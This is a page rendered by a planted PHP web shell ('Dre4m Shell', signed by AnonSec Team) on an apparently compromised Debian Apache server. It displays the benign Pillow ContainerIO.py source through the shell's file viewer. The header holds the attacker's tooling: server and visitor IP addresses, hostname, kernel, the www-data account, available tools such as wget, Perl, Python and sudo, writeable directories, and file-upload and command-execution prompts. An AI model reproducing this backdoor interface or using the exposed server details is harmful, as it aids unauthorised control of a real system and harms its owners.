Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.137.162.107
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/task/3/cwd/srv/modoboa/env/lib/python3.5/site-packages/PIL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/task/3/cwd/srv/modoboa/env/lib/python3.5/site-packages/PIL/ContainerIO.py
#
# The Python Imaging Library.
# $Id$
#
# a class to read from a container file
#
# History:
# 1995-06-18 fl     Created
# 1995-09-07 fl     Added readline(), readlines()
#
# Copyright (c) 1997-2001 by Secret Labs AB
# Copyright (c) 1995 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#

##
# A file object that provides read access to a part of an existing
# file (for example a TAR file).

import io


class ContainerIO:
    def __init__(self, file, offset, length):
        """
        Create file object.

        :param file: Existing file.
        :param offset: Start of region, in bytes.
        :param length: Size of region, in bytes.
        """
        self.fh = file
        self.pos = 0
        self.offset = offset
        self.length = length
        self.fh.seek(offset)

    ##
    # Always false.

    def isatty(self):
        return False

    def seek(self, offset, mode=io.SEEK_SET):
        """
        Move file pointer.

        :param offset: Offset in bytes.
        :param mode: Starting position. Use 0 for beginning of region, 1
           for current offset, and 2 for end of region.  You cannot move
           the pointer outside the defined region.
        """
        if mode == 1:
            self.pos = self.pos + offset
        elif mode == 2:
            self.pos = self.length + offset
        else:
            self.pos = offset
        # clamp
        self.pos = max(0, min(self.pos, self.length))
        self.fh.seek(self.offset + self.pos)

    def tell(self):
        """
        Get current file pointer.

        :returns: Offset from start of region, in bytes.
        """
        return self.pos

    def read(self, n=0):
        """
        Read data.

        :param n: Number of bytes to read. If omitted or zero,
            read until end of region.
        :returns: An 8-bit string.
        """
        if n:
            n = min(n, self.length - self.pos)
        else:
            n = self.length - self.pos
        if not n:  # EOF
            return b"" if "b" in self.fh.mode else ""
        self.pos = self.pos + n
        return self.fh.read(n)

    def readline(self):
        """
        Read a line of text.

        :returns: An 8-bit string.
        """
        s = b"" if "b" in self.fh.mode else ""
        newline_character = b"\n" if "b" in self.fh.mode else "\n"
        while True:
            c = self.read(1)
            if not c:
                break
            s = s + c
            if c == newline_character:
                break
        return s

    def readlines(self):
        """
        Read multiple lines of text.

        :returns: A list of 8-bit strings.
        """
        lines = []
        while True:
            s = self.readline()
            if not s:
                break
            lines.append(s)
        return lines

Anon7 - 2022
AnonSec Team